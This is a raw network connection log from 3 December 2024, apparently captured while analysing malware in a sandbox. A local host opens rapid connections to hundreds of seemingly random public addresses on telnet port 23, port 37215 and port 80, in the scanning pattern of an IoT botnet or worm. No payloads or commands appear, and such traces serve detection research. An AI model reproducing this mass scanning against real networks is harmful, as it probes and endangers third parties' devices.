Dec 3, 2024 23:16:50.232949972 CET	40602	23	192.168.2.23	171.72.135.90
Dec 3, 2024 23:16:50.232952118 CET	40602	23	192.168.2.23	164.166.23.61
Dec 3, 2024 23:16:50.232952118 CET	40602	23	192.168.2.23	68.100.253.189
Dec 3, 2024 23:16:50.232952118 CET	40602	23	192.168.2.23	126.245.56.60
Dec 3, 2024 23:16:50.232964039 CET	40602	23	192.168.2.23	90.178.109.171
Dec 3, 2024 23:16:50.232964039 CET	40602	23	192.168.2.23	158.99.22.174
Dec 3, 2024 23:16:50.232968092 CET	40602	23	192.168.2.23	124.135.1.103
Dec 3, 2024 23:16:50.232968092 CET	40602	23	192.168.2.23	146.14.30.109
Dec 3, 2024 23:16:50.232969046 CET	40602	23	192.168.2.23	82.207.224.3
Dec 3, 2024 23:16:50.232969046 CET	40602	23	192.168.2.23	121.92.26.204
Dec 3, 2024 23:16:50.232979059 CET	40602	23	192.168.2.23	158.175.62.55
Dec 3, 2024 23:16:50.232990980 CET	40602	23	192.168.2.23	209.149.212.247
Dec 3, 2024 23:16:50.232994080 CET	40602	23	192.168.2.23	140.188.123.209
Dec 3, 2024 23:16:50.232995987 CET	40602	23	192.168.2.23	65.223.30.244
Dec 3, 2024 23:16:50.232995987 CET	40602	23	192.168.2.23	153.195.94.208
Dec 3, 2024 23:16:50.232996941 CET	40602	23	192.168.2.23	86.119.193.214
Dec 3, 2024 23:16:50.232996941 CET	40602	23	192.168.2.23	135.251.22.200
Dec 3, 2024 23:16:50.233000994 CET	40602	23	192.168.2.23	184.139.38.100
Dec 3, 2024 23:16:50.233000994 CET	40602	23	192.168.2.23	161.28.147.120
Dec 3, 2024 23:16:50.233000994 CET	40602	23	192.168.2.23	204.109.170.27
Dec 3, 2024 23:16:50.233001947 CET	40602	23	192.168.2.23	74.195.84.96
Dec 3, 2024 23:16:50.233016968 CET	40602	23	192.168.2.23	1.117.181.33
Dec 3, 2024 23:16:50.233017921 CET	40602	23	192.168.2.23	161.150.66.155
Dec 3, 2024 23:16:50.233017921 CET	40602	23	192.168.2.23	196.98.79.15
Dec 3, 2024 23:16:50.233016968 CET	40602	23	192.168.2.23	12.243.227.211
Dec 3, 2024 23:16:50.233019114 CET	40602	23	192.168.2.23	180.35.1.75
Dec 3, 2024 23:16:50.233017921 CET	40602	23	192.168.2.23	75.118.136.197
Dec 3, 2024 23:16:50.233021021 CET	40602	23	192.168.2.23	73.195.196.18
Dec 3, 2024 23:16:50.233025074 CET	40602	23	192.168.2.23	45.160.135.226
Dec 3, 2024 23:16:50.233025074 CET	40602	23	192.168.2.23	64.250.124.72
Dec 3, 2024 23:16:50.233028889 CET	40602	23	192.168.2.23	88.179.98.46
Dec 3, 2024 23:16:50.233030081 CET	40602	23	192.168.2.23	88.73.206.59
Dec 3, 2024 23:16:50.233030081 CET	40602	23	192.168.2.23	186.27.205.254
Dec 3, 2024 23:16:50.233037949 CET	40602	23	192.168.2.23	189.80.50.142
Dec 3, 2024 23:16:50.233052015 CET	40602	23	192.168.2.23	156.10.219.105
Dec 3, 2024 23:16:50.233052969 CET	40602	23	192.168.2.23	99.172.90.45
Dec 3, 2024 23:16:50.233053923 CET	40602	23	192.168.2.23	23.146.178.43
Dec 3, 2024 23:16:50.233058929 CET	40602	23	192.168.2.23	48.99.194.62
Dec 3, 2024 23:16:50.233059883 CET	40602	23	192.168.2.23	145.56.24.190
Dec 3, 2024 23:16:50.233061075 CET	40602	23	192.168.2.23	95.142.221.8
Dec 3, 2024 23:16:50.233061075 CET	40602	23	192.168.2.23	134.103.133.74
Dec 3, 2024 23:16:50.233083963 CET	40602	23	192.168.2.23	107.118.140.20
Dec 3, 2024 23:16:50.233084917 CET	40602	23	192.168.2.23	76.110.84.217
Dec 3, 2024 23:16:50.233084917 CET	40602	23	192.168.2.23	2.213.22.236
Dec 3, 2024 23:16:50.233087063 CET	40602	23	192.168.2.23	41.2.31.48
Dec 3, 2024 23:16:50.233088970 CET	40602	23	192.168.2.23	72.86.58.86
Dec 3, 2024 23:16:50.233089924 CET	40602	23	192.168.2.23	162.143.92.208
Dec 3, 2024 23:16:50.233103037 CET	40602	23	192.168.2.23	177.127.117.169
Dec 3, 2024 23:16:50.233108997 CET	40602	23	192.168.2.23	210.136.36.200
Dec 3, 2024 23:16:50.233110905 CET	40602	23	192.168.2.23	121.243.90.50
Dec 3, 2024 23:16:50.233112097 CET	40602	23	192.168.2.23	179.123.95.81
Dec 3, 2024 23:16:50.233114958 CET	40602	23	192.168.2.23	174.227.52.194
Dec 3, 2024 23:16:50.233118057 CET	40602	23	192.168.2.23	35.95.31.93
Dec 3, 2024 23:16:50.233118057 CET	40602	23	192.168.2.23	25.240.188.180
Dec 3, 2024 23:16:50.233134985 CET	40602	23	192.168.2.23	141.162.1.112
Dec 3, 2024 23:16:50.233138084 CET	40602	23	192.168.2.23	115.186.88.212
Dec 3, 2024 23:16:50.233139038 CET	40602	23	192.168.2.23	14.193.109.60
Dec 3, 2024 23:16:50.233139038 CET	40602	23	192.168.2.23	185.100.46.123
Dec 3, 2024 23:16:50.233150005 CET	40602	23	192.168.2.23	67.95.23.191
Dec 3, 2024 23:16:50.233159065 CET	40602	23	192.168.2.23	135.190.195.109
Dec 3, 2024 23:16:50.233161926 CET	40602	23	192.168.2.23	158.119.38.58
Dec 3, 2024 23:16:50.233164072 CET	40602	23	192.168.2.23	173.158.28.61
Dec 3, 2024 23:16:50.233165979 CET	40602	23	192.168.2.23	42.235.33.1
Dec 3, 2024 23:16:50.233177900 CET	40602	23	192.168.2.23	89.30.64.160
Dec 3, 2024 23:16:50.233180046 CET	40602	23	192.168.2.23	103.52.41.31
Dec 3, 2024 23:16:50.233196974 CET	40602	23	192.168.2.23	217.97.131.107
Dec 3, 2024 23:16:50.233197927 CET	40602	23	192.168.2.23	156.11.230.68
Dec 3, 2024 23:16:50.233201027 CET	40602	23	192.168.2.23	105.136.171.143
Dec 3, 2024 23:16:50.233206987 CET	40602	23	192.168.2.23	98.187.221.81
Dec 3, 2024 23:16:50.233206987 CET	40602	23	192.168.2.23	143.102.75.220
Dec 3, 2024 23:16:50.233207941 CET	40602	23	192.168.2.23	89.12.56.6
Dec 3, 2024 23:16:50.233211040 CET	40602	23	192.168.2.23	47.189.189.72
Dec 3, 2024 23:16:50.233211040 CET	40602	23	192.168.2.23	151.187.111.73
Dec 3, 2024 23:16:50.233222008 CET	40602	23	192.168.2.23	112.149.250.129
Dec 3, 2024 23:16:50.233222961 CET	40602	23	192.168.2.23	76.193.132.197
Dec 3, 2024 23:16:50.233223915 CET	40602	23	192.168.2.23	176.236.114.161
Dec 3, 2024 23:16:50.233227015 CET	40602	23	192.168.2.23	95.110.60.251
Dec 3, 2024 23:16:50.233227015 CET	40602	23	192.168.2.23	98.47.205.168
Dec 3, 2024 23:16:50.233227015 CET	40602	23	192.168.2.23	179.82.161.43
Dec 3, 2024 23:16:50.233236074 CET	40602	23	192.168.2.23	200.209.7.28
Dec 3, 2024 23:16:50.233237028 CET	40602	23	192.168.2.23	32.163.111.146
Dec 3, 2024 23:16:50.233237982 CET	40602	23	192.168.2.23	189.191.141.126
Dec 3, 2024 23:16:50.233242989 CET	40602	23	192.168.2.23	75.7.1.90
Dec 3, 2024 23:16:50.233242989 CET	40602	23	192.168.2.23	86.251.175.33
Dec 3, 2024 23:16:50.233246088 CET	40602	23	192.168.2.23	106.139.5.92
Dec 3, 2024 23:16:50.233247995 CET	40602	23	192.168.2.23	20.177.176.152
Dec 3, 2024 23:16:50.233247995 CET	40602	23	192.168.2.23	179.245.208.248
Dec 3, 2024 23:16:50.239694118 CET	37215	44668	156.133.165.115	192.168.2.23
Dec 3, 2024 23:16:50.239763975 CET	44668	37215	192.168.2.23	156.133.165.115
Dec 3, 2024 23:16:50.263892889 CET	37215	35176	41.171.44.196	192.168.2.23
Dec 3, 2024 23:16:50.267864943 CET	37215	52214	197.168.254.205	192.168.2.23
Dec 3, 2024 23:16:50.267883062 CET	37215	55748	197.79.45.182	192.168.2.23
Dec 3, 2024 23:16:50.267898083 CET	37215	52614	41.238.72.229	192.168.2.23
Dec 3, 2024 23:16:50.267906904 CET	37215	49248	197.173.204.9	192.168.2.23
Dec 3, 2024 23:16:50.339112043 CET	80	44176	154.175.128.164	192.168.2.23
Dec 3, 2024 23:16:50.339129925 CET	80	46958	134.104.83.77	192.168.2.23
Dec 3, 2024 23:16:50.339138985 CET	80	33224	64.184.219.41	192.168.2.23
Dec 3, 2024 23:16:50.339153051 CET	80	37594	41.76.192.116	192.168.2.23
Dec 3, 2024 23:16:50.339168072 CET	80	50126	112.198.79.120	192.168.2.23
Dec 3, 2024 23:16:50.339190960 CET	44176	80	192.168.2.23	154.175.128.164
Dec 3, 2024 23:16:50.339193106 CET	46958	80	192.168.2.23	134.104.83.77
Dec 3, 2024 23:16:50.339230061 CET	46958	80	192.168.2.23	134.104.83.77
Dec 3, 2024 23:16:50.339230061 CET	33224	80	192.168.2.23	64.184.219.41
Dec 3, 2024 23:16:50.339235067 CET	44176	80	192.168.2.23	154.175.128.164
Dec 3, 2024 23:16:50.339241982 CET	37594	80	192.168.2.23	41.76.192.116
Dec 3, 2024 23:16:50.339267015 CET	50126	80	192.168.2.23	112.198.79.120
Dec 3, 2024 23:16:50.339674950 CET	33370	80	192.168.2.23	168.200.219.64
Dec 3, 2024 23:16:50.340284109 CET	39544	80	192.168.2.23	209.58.154.1
Dec 3, 2024 23:16:50.340883970 CET	41066	80	192.168.2.23	107.228.249.17
Dec 3, 2024 23:16:50.341511011 CET	35484	80	192.168.2.23	87.101.119.206
Dec 3, 2024 23:16:50.342156887 CET	47686	80	192.168.2.23	166.27.48.146
Dec 3, 2024 23:16:50.342799902 CET	51184	80	192.168.2.23	81.193.189.217
Dec 3, 2024 23:16:50.343111038 CET	36520	80	192.168.2.23	206.218.156.58
Dec 3, 2024 23:16:50.343111038 CET	60984	80	192.168.2.23	207.44.6.28
Dec 3, 2024 23:16:50.343116045 CET	59832	80	192.168.2.23	36.177.131.90
Dec 3, 2024 23:16:50.343116999 CET	46738	80	192.168.2.23	110.74.199.97
Dec 3, 2024 23:16:50.343127966 CET	52298	80	192.168.2.23	181.49.1.9
Dec 3, 2024 23:16:50.343127966 CET	33214	80	192.168.2.23	175.204.245.90
Dec 3, 2024 23:16:50.343131065 CET	38022	80	192.168.2.23	41.75.167.181
Dec 3, 2024 23:16:50.343131065 CET	56428	80	192.168.2.23	69.10.3.184
Dec 3, 2024 23:16:50.343466997 CET	57674	80	192.168.2.23	74.248.70.53
Dec 3, 2024 23:16:50.343914986 CET	37594	80	192.168.2.23	41.76.192.116
Dec 3, 2024 23:16:50.343926907 CET	50126	80	192.168.2.23	112.198.79.120
Dec 3, 2024 23:16:50.343931913 CET	33224	80	192.168.2.23	64.184.219.41
Dec 3, 2024 23:16:50.348596096 CET	37215	35214	41.171.44.196	192.168.2.23
Dec 3, 2024 23:16:50.348642111 CET	35214	37215	192.168.2.23	41.171.44.196
Dec 3, 2024 23:16:50.348979950 CET	37215	49286	197.173.204.9	192.168.2.23
Dec 3, 2024 23:16:50.349028111 CET	49286	37215	192.168.2.23	197.173.204.9
Dec 3, 2024 23:16:50.349483967 CET	37215	52652	41.238.72.229	192.168.2.23
Dec 3, 2024 23:16:50.349528074 CET	52652	37215	192.168.2.23	41.238.72.229
Dec 3, 2024 23:16:50.349824905 CET	37215	55786	197.79.45.182	192.168.2.23
Dec 3, 2024 23:16:50.349870920 CET	55786	37215	192.168.2.23	197.79.45.182
Dec 3, 2024 23:16:50.354927063 CET	23	59138	156.244.103.132	192.168.2.23
Dec 3, 2024 23:16:50.355288982 CET	23	59872	156.244.103.132	192.168.2.23
Dec 3, 2024 23:16:50.355328083 CET	59872	23	192.168.2.23	156.244.103.132
Dec 3, 2024 23:16:50.355830908 CET	23	40602	157.86.105.212	192.168.2.23
Dec 3, 2024 23:16:50.355840921 CET	23	40602	80.44.22.252	192.168.2.23
Dec 3, 2024 23:16:50.355849028 CET	23	40602	92.119.111.20	192.168.2.23
Dec 3, 2024 23:16:50.355871916 CET	40602	23	192.168.2.23	157.86.105.212
Dec 3, 2024 23:16:50.355875015 CET	40602	23	192.168.2.23	80.44.22.252
Dec 3, 2024 23:16:50.355890989 CET	23	40602	116.43.77.86	192.168.2.23
Dec 3, 2024 23:16:50.355891943 CET	40602	23	192.168.2.23	92.119.111.20
Dec 3, 2024 23:16:50.355901003 CET	23	40602	166.121.52.78	192.168.2.23
Dec 3, 2024 23:16:50.355916023 CET	23	40602	181.219.150.142	192.168.2.23
Dec 3, 2024 23:16:50.355926991 CET	23	40602	38.224.65.246	192.168.2.23
Dec 3, 2024 23:16:50.355932951 CET	40602	23	192.168.2.23	116.43.77.86
Dec 3, 2024 23:16:50.355938911 CET	40602	23	192.168.2.23	166.121.52.78
Dec 3, 2024 23:16:50.355947971 CET	23	40602	153.250.98.199	192.168.2.23
Dec 3, 2024 23:16:50.355954885 CET	40602	23	192.168.2.23	181.219.150.142
Dec 3, 2024 23:16:50.355961084 CET	40602	23	192.168.2.23	38.224.65.246
Dec 3, 2024 23:16:50.355983019 CET	40602	23	192.168.2.23	153.250.98.199
Dec 3, 2024 23:16:50.463380098 CET	80	33370	168.200.219.64	192.168.2.23
Dec 3, 2024 23:16:50.463449001 CET	33370	80	192.168.2.23	168.200.219.64
Dec 3, 2024 23:16:50.463613987 CET	33370	80	192.168.2.23	168.200.219.64
Dec 3, 2024 23:16:50.463614941 CET	33370	80	192.168.2.23	168.200.219.64
Dec 3, 2024 23:16:50.463885069 CET	33384	80	192.168.2.23	168.200.219.64
Dec 3, 2024 23:16:50.463916063 CET	80	44176	154.175.128.164	192.168.2.23
Dec 3, 2024 23:16:50.464024067 CET	80	46958	134.104.83.77	192.168.2.23
Dec 3, 2024 23:16:50.464086056 CET	80	39544	209.58.154.1	192.168.2.23
Dec 3, 2024 23:16:50.464128017 CET	39544	80	192.168.2.23	209.58.154.1
Dec 3, 2024 23:16:50.464277029 CET	39544	80	192.168.2.23	209.58.154.1
Dec 3, 2024 23:16:50.464277029 CET	39544	80	192.168.2.23	209.58.154.1
Dec 3, 2024 23:16:50.464485884 CET	80	46958	134.104.83.77	192.168.2.23
Dec 3, 2024 23:16:50.464529037 CET	39558	80	192.168.2.23	209.58.154.1
Dec 3, 2024 23:16:50.464529037 CET	46958	80	192.168.2.23	134.104.83.77
Dec 3, 2024 23:16:50.464576960 CET	80	41066	107.228.249.17	192.168.2.23
Dec 3, 2024 23:16:50.464612961 CET	41066	80	192.168.2.23	107.228.249.17
Dec 3, 2024 23:16:50.464925051 CET	41066	80	192.168.2.23	107.228.249.17
Dec 3, 2024 23:16:50.464925051 CET	41066	80	192.168.2.23	107.228.249.17
Dec 3, 2024 23:16:50.465193987 CET	41080	80	192.168.2.23	107.228.249.17
Dec 3, 2024 23:16:50.465326071 CET	80	44176	154.175.128.164	192.168.2.23
Dec 3, 2024 23:16:50.465369940 CET	44176	80	192.168.2.23	154.175.128.164
Dec 3, 2024 23:16:50.465538025 CET	80	35484	87.101.119.206	192.168.2.23
Dec 3, 2024 23:16:50.465578079 CET	35484	80	192.168.2.23	87.101.119.206
Dec 3, 2024 23:16:50.465604067 CET	35484	80	192.168.2.23	87.101.119.206
Dec 3, 2024 23:16:50.465604067 CET	35484	80	192.168.2.23	87.101.119.206
Dec 3, 2024 23:16:50.465867043 CET	35498	80	192.168.2.23	87.101.119.206
Dec 3, 2024 23:16:50.466746092 CET	80	47686	166.27.48.146	192.168.2.23
Dec 3, 2024 23:16:50.466792107 CET	80	51184	81.193.189.217	192.168.2.23
Dec 3, 2024 23:16:50.466799021 CET	47686	80	192.168.2.23	166.27.48.146
Dec 3, 2024 23:16:50.466816902 CET	47686	80	192.168.2.23	166.27.48.146
Dec 3, 2024 23:16:50.466816902 CET	47686	80	192.168.2.23	166.27.48.146
Dec 3, 2024 23:16:50.466830969 CET	51184	80	192.168.2.23	81.193.189.217
Dec 3, 2024 23:16:50.467087984 CET	47700	80	192.168.2.23	166.27.48.146
Dec 3, 2024 23:16:50.467169046 CET	80	36520	206.218.156.58	192.168.2.23
Dec 3, 2024 23:16:50.467178106 CET	80	46738	110.74.199.97	192.168.2.23
Dec 3, 2024 23:16:50.467185974 CET	80	60984	207.44.6.28	192.168.2.23
Dec 3, 2024 23:16:50.467204094 CET	80	59832	36.177.131.90	192.168.2.23
Dec 3, 2024 23:16:50.467204094 CET	36520	80	192.168.2.23	206.218.156.58
Dec 3, 2024 23:16:50.467211962 CET	46738	80	192.168.2.23	110.74.199.97
Dec 3, 2024 23:16:50.467217922 CET	60984	80	192.168.2.23	207.44.6.28
Dec 3, 2024 23:16:50.467247009 CET	59832	80	192.168.2.23	36.177.131.90
Dec 3, 2024 23:16:50.467319012 CET	80	57674	74.248.70.53	192.168.2.23
Dec 3, 2024 23:16:50.467354059 CET	57674	80	192.168.2.23	74.248.70.53
Dec 3, 2024 23:16:50.467509031 CET	51184	80	192.168.2.23	81.193.189.217
Dec 3, 2024 23:16:50.467509031 CET	51184	80	192.168.2.23	81.193.189.217
Dec 3, 2024 23:16:50.467767954 CET	51198	80	192.168.2.23	81.193.189.217
Dec 3, 2024 23:16:50.467784882 CET	80	37594	41.76.192.116	192.168.2.23
Dec 3, 2024 23:16:50.467824936 CET	37594	80	192.168.2.23	41.76.192.116
Dec 3, 2024 23:16:50.468108892 CET	57674	80	192.168.2.23	74.248.70.53
Dec 3, 2024 23:16:50.468108892 CET	57674	80	192.168.2.23	74.248.70.53
Dec 3, 2024 23:16:50.468178034 CET	80	50126	112.198.79.120	192.168.2.23
Dec 3, 2024 23:16:50.468188047 CET	80	33224	64.184.219.41	192.168.2.23
Dec 3, 2024 23:16:50.468216896 CET	50126	80	192.168.2.23	112.198.79.120
Dec 3, 2024 23:16:50.468220949 CET	33224	80	192.168.2.23	64.184.219.41
Dec 3, 2024 23:16:50.468377113 CET	57688	80	192.168.2.23	74.248.70.53
Dec 3, 2024 23:16:50.468713045 CET	46738	80	192.168.2.23	110.74.199.97
Dec 3, 2024 23:16:50.468713045 CET	46738	80	192.168.2.23	110.74.199.97
Dec 3, 2024 23:16:50.469002962 CET	46994	80	192.168.2.23	110.74.199.97
Dec 3, 2024 23:16:50.469358921 CET	59832	80	192.168.2.23	36.177.131.90
Dec 3, 2024 23:16:50.469358921 CET	59832	80	192.168.2.23	36.177.131.90
Dec 3, 2024 23:16:50.469615936 CET	60088	80	192.168.2.23	36.177.131.90
Dec 3, 2024 23:16:50.469963074 CET	36520	80	192.168.2.23	206.218.156.58
Dec 3, 2024 23:16:50.469963074 CET	36520	80	192.168.2.23	206.218.156.58
Dec 3, 2024 23:16:50.470225096 CET	36776	80	192.168.2.23	206.218.156.58
Dec 3, 2024 23:16:50.470571041 CET	60984	80	192.168.2.23	207.44.6.28
Dec 3, 2024 23:16:50.470571041 CET	60984	80	192.168.2.23	207.44.6.28
Dec 3, 2024 23:16:50.470832109 CET	33008	80	192.168.2.23	207.44.6.28
Dec 3, 2024 23:16:50.471082926 CET	44422	80	192.168.2.23	135.89.3.44
Dec 3, 2024 23:16:50.471086025 CET	60218	80	192.168.2.23	193.206.198.78
Dec 3, 2024 23:16:50.591300964 CET	80	33370	168.200.219.64	192.168.2.23
Dec 3, 2024 23:16:50.591317892 CET	80	33384	168.200.219.64	192.168.2.23
Dec 3, 2024 23:16:50.591326952 CET	80	39544	209.58.154.1	192.168.2.23
Dec 3, 2024 23:16:50.591336012 CET	80	39558	209.58.154.1	192.168.2.23
Dec 3, 2024 23:16:50.591352940 CET	80	41066	107.228.249.17	192.168.2.23
Dec 3, 2024 23:16:50.591362000 CET	80	41080	107.228.249.17	192.168.2.23
Dec 3, 2024 23:16:50.591368914 CET	80	35484	87.101.119.206	192.168.2.23
Dec 3, 2024 23:16:50.591377974 CET	80	35498	87.101.119.206	192.168.2.23
Dec 3, 2024 23:16:50.591387033 CET	80	47686	166.27.48.146	192.168.2.23
Dec 3, 2024 23:16:50.591530085 CET	33384	80	192.168.2.23	168.200.219.64
Dec 3, 2024 23:16:50.591530085 CET	33384	80	192.168.2.23	168.200.219.64
Dec 3, 2024 23:16:50.591541052 CET	41080	80	192.168.2.23	107.228.249.17
Dec 3, 2024 23:16:50.591541052 CET	41080	80	192.168.2.23	107.228.249.17
Dec 3, 2024 23:16:50.591547012 CET	39558	80	192.168.2.23	209.58.154.1
Dec 3, 2024 23:16:50.591547012 CET	35498	80	192.168.2.23	87.101.119.206
Dec 3, 2024 23:16:50.591547012 CET	39558	80	192.168.2.23	209.58.154.1
Dec 3, 2024 23:16:50.591547012 CET	35498	80	192.168.2.23	87.101.119.206
Dec 3, 2024 23:16:50.593269110 CET	80	47700	166.27.48.146	192.168.2.23
Dec 3, 2024 23:16:50.593277931 CET	80	51184	81.193.189.217	192.168.2.23
Dec 3, 2024 23:16:50.593312025 CET	47700	80	192.168.2.23	166.27.48.146
Dec 3, 2024 23:16:50.593322039 CET	47700	80	192.168.2.23	166.27.48.146
Dec 3, 2024 23:16:50.593483925 CET	80	51198	81.193.189.217	192.168.2.23
Dec 3, 2024 23:16:50.593532085 CET	51198	80	192.168.2.23	81.193.189.217
Dec 3, 2024 23:16:50.593544960 CET	51198	80	192.168.2.23	81.193.189.217
Dec 3, 2024 23:16:50.593759060 CET	80	57674	74.248.70.53	192.168.2.23
Dec 3, 2024 23:16:50.593905926 CET	80	57688	74.248.70.53	192.168.2.23
Dec 3, 2024 23:16:50.593939066 CET	57688	80	192.168.2.23	74.248.70.53
Dec 3, 2024 23:16:50.593961000 CET	57688	80	192.168.2.23	74.248.70.53
Dec 3, 2024 23:16:50.594398975 CET	80	46738	110.74.199.97	192.168.2.23
Dec 3, 2024 23:16:50.594703913 CET	80	46994	110.74.199.97	192.168.2.23
Dec 3, 2024 23:16:50.594746113 CET	46994	80	192.168.2.23	110.74.199.97
Dec 3, 2024 23:16:50.594758987 CET	46994	80	192.168.2.23	110.74.199.97
Dec 3, 2024 23:16:50.595138073 CET	80	59832	36.177.131.90	192.168.2.23
Dec 3, 2024 23:16:50.595519066 CET	80	60088	36.177.131.90	192.168.2.23
Dec 3, 2024 23:16:50.595561028 CET	60088	80	192.168.2.23	36.177.131.90
Dec 3, 2024 23:16:50.595582962 CET	60088	80	192.168.2.23	36.177.131.90
Dec 3, 2024 23:16:50.595653057 CET	80	36520	206.218.156.58	192.168.2.23
Dec 3, 2024 23:16:50.595824003 CET	80	36776	206.218.156.58	192.168.2.23
Dec 3, 2024 23:16:50.595865011 CET	36776	80	192.168.2.23	206.218.156.58
Dec 3, 2024 23:16:50.595882893 CET	36776	80	192.168.2.23	206.218.156.58
Dec 3, 2024 23:16:50.596278906 CET	80	60984	207.44.6.28	192.168.2.23
Dec 3, 2024 23:16:50.596287966 CET	80	33008	207.44.6.28	192.168.2.23
Dec 3, 2024 23:16:50.596318960 CET	33008	80	192.168.2.23	207.44.6.28
Dec 3, 2024 23:16:50.596328974 CET	33008	80	192.168.2.23	207.44.6.28
Dec 3, 2024 23:16:50.596532106 CET	80	44422	135.89.3.44	192.168.2.23
Dec 3, 2024 23:16:50.596576929 CET	44422	80	192.168.2.23	135.89.3.44
Dec 3, 2024 23:16:50.596590996 CET	44422	80	192.168.2.23	135.89.3.44
Dec 3, 2024 23:16:50.599072933 CET	53424	23	192.168.2.23	118.159.70.78
Dec 3, 2024 23:16:50.599075079 CET	32800	23	192.168.2.23	9.114.8.209
Dec 3, 2024 23:16:50.627875090 CET	80	33370	168.200.219.64	192.168.2.23
Dec 3, 2024 23:16:50.635912895 CET	80	60984	207.44.6.28	192.168.2.23
Dec 3, 2024 23:16:50.635921001 CET	80	51184	81.193.189.217	192.168.2.23
Dec 3, 2024 23:16:50.635927916 CET	80	47686	166.27.48.146	192.168.2.23
Dec 3, 2024 23:16:50.635940075 CET	80	35484	87.101.119.206	192.168.2.23
Dec 3, 2024 23:16:50.635947943 CET	80	41066	107.228.249.17	192.168.2.23
Dec 3, 2024 23:16:50.636060953 CET	80	39544	209.58.154.1	192.168.2.23
Dec 3, 2024 23:16:50.636069059 CET	80	36520	206.218.156.58	192.168.2.23
Dec 3, 2024 23:16:50.636077881 CET	80	59832	36.177.131.90	192.168.2.23
Dec 3, 2024 23:16:50.636090040 CET	80	46738	110.74.199.97	192.168.2.23
Dec 3, 2024 23:16:50.636097908 CET	80	57674	74.248.70.53	192.168.2.23
Dec 3, 2024 23:16:50.717895031 CET	80	35498	87.101.119.206	192.168.2.23
Dec 3, 2024 23:16:50.717905998 CET	80	39558	209.58.154.1	192.168.2.23
Dec 3, 2024 23:16:50.717912912 CET	80	33384	168.200.219.64	192.168.2.23
Dec 3, 2024 23:16:50.717916965 CET	80	41080	107.228.249.17	192.168.2.23
Dec 3, 2024 23:16:50.717920065 CET	80	33384	168.200.219.64	192.168.2.23
Dec 3, 2024 23:16:50.718019962 CET	33384	80	192.168.2.23	168.200.219.64
Dec 3, 2024 23:16:50.718450069 CET	80	41080	107.228.249.17	192.168.2.23
Dec 3, 2024 23:16:50.718457937 CET	80	39558	209.58.154.1	192.168.2.23
Dec 3, 2024 23:16:50.718583107 CET	41080	80	192.168.2.23	107.228.249.17
Dec 3, 2024 23:16:50.718588114 CET	39558	80	192.168.2.23	209.58.154.1
Dec 3, 2024 23:16:50.718739986 CET	80	35498	87.101.119.206	192.168.2.23
Dec 3, 2024 23:16:50.718780041 CET	35498	80	192.168.2.23	87.101.119.206
Dec 3, 2024 23:16:50.719198942 CET	80	47700	166.27.48.146	192.168.2.23
Dec 3, 2024 23:16:50.719244957 CET	47700	80	192.168.2.23	166.27.48.146
Dec 3, 2024 23:16:50.719703913 CET	80	51198	81.193.189.217	192.168.2.23
Dec 3, 2024 23:16:50.719747066 CET	51198	80	192.168.2.23	81.193.189.217
Dec 3, 2024 23:16:50.719960928 CET	80	57688	74.248.70.53	192.168.2.23
Dec 3, 2024 23:16:50.720000982 CET	57688	80	192.168.2.23	74.248.70.53
Dec 3, 2024 23:16:50.720565081 CET	80	46994	110.74.199.97	192.168.2.23
Dec 3, 2024 23:16:50.720603943 CET	46994	80	192.168.2.23	110.74.199.97
Dec 3, 2024 23:16:50.721894026 CET	80	60088	36.177.131.90	192.168.2.23
Dec 3, 2024 23:16:50.721935987 CET	60088	80	192.168.2.23	36.177.131.90
Dec 3, 2024 23:16:50.722462893 CET	80	36776	206.218.156.58	192.168.2.23
Dec 3, 2024 23:16:50.722501993 CET	36776	80	192.168.2.23	206.218.156.58
Dec 3, 2024 23:16:50.722789049 CET	80	33008	207.44.6.28	192.168.2.23
Dec 3, 2024 23:16:50.722827911 CET	33008	80	192.168.2.23	207.44.6.28
Dec 3, 2024 23:16:50.722970009 CET	80	44422	135.89.3.44	192.168.2.23
Dec 3, 2024 23:16:50.723007917 CET	44422	80	192.168.2.23	135.89.3.44
Dec 3, 2024 23:16:50.724551916 CET	23	53424	118.159.70.78	192.168.2.23
Dec 3, 2024 23:16:50.724601984 CET	53424	23	192.168.2.23	118.159.70.78
Dec 3, 2024 23:16:50.724679947 CET	23	32800	9.114.8.209	192.168.2.23
Dec 3, 2024 23:16:50.724720001 CET	32800	23	192.168.2.23	9.114.8.209
Dec 3, 2024 23:16:50.727060080 CET	46716	37215	192.168.2.23	197.21.86.41
Dec 3, 2024 23:16:50.727060080 CET	41428	37215	192.168.2.23	41.118.107.113
Dec 3, 2024 23:16:50.727060080 CET	39288	37215	192.168.2.23	197.28.236.190
Dec 3, 2024 23:16:50.727070093 CET	37732	37215	192.168.2.23	197.68.34.74
Dec 3, 2024 23:16:50.727081060 CET	35240	37215	192.168.2.23	197.81.114.155
Dec 3, 2024 23:16:50.727081060 CET	53062	37215	192.168.2.23	41.23.152.112
Dec 3, 2024 23:16:50.727087021 CET	50496	37215	192.168.2.23	197.48.57.207
Dec 3, 2024 23:16:50.727087021 CET	45390	37215	192.168.2.23	41.28.122.113
Dec 3, 2024 23:16:50.727087021 CET	42006	37215	192.168.2.23	156.54.52.64
Dec 3, 2024 23:16:50.727088928 CET	37080	37215	192.168.2.23	156.2.32.205
Dec 3, 2024 23:16:50.727089882 CET	41480	37215	192.168.2.23	197.142.95.104
Dec 3, 2024 23:16:50.727093935 CET	40604	37215	192.168.2.23	156.153.176.175
Dec 3, 2024 23:16:50.727102041 CET	33936	37215	192.168.2.23	41.181.27.30
Dec 3, 2024 23:16:50.727104902 CET	50508	37215	192.168.2.23	197.45.230.253
Dec 3, 2024 23:16:50.727117062 CET	37132	37215	192.168.2.23	41.240.1.22
Dec 3, 2024 23:16:50.727118015 CET	56056	37215	192.168.2.23	197.81.131.1
Dec 3, 2024 23:16:50.727118969 CET	51038	37215	192.168.2.23	197.170.158.13
Dec 3, 2024 23:16:50.727118969 CET	41580	37215	192.168.2.23	156.196.177.232
Dec 3, 2024 23:16:50.727123976 CET	37612	37215	192.168.2.23	197.3.73.65
Dec 3, 2024 23:16:50.727132082 CET	33986	37215	192.168.2.23	156.47.233.200
Dec 3, 2024 23:16:50.727132082 CET	34144	37215	192.168.2.23	156.42.173.143
Dec 3, 2024 23:16:50.727133036 CET	34430	37215	192.168.2.23	156.127.13.240
Dec 3, 2024 23:16:50.727133036 CET	58986	37215	192.168.2.23	197.120.27.107
Dec 3, 2024 23:16:50.727133989 CET	46372	37215	192.168.2.23	156.225.40.131
Dec 3, 2024 23:16:50.759094000 CET	34056	37215	192.168.2.23	156.79.85.120
Dec 3, 2024 23:16:50.759098053 CET	46538	37215	192.168.2.23	41.199.42.109
Dec 3, 2024 23:16:50.759099007 CET	33232	37215	192.168.2.23	156.48.44.46
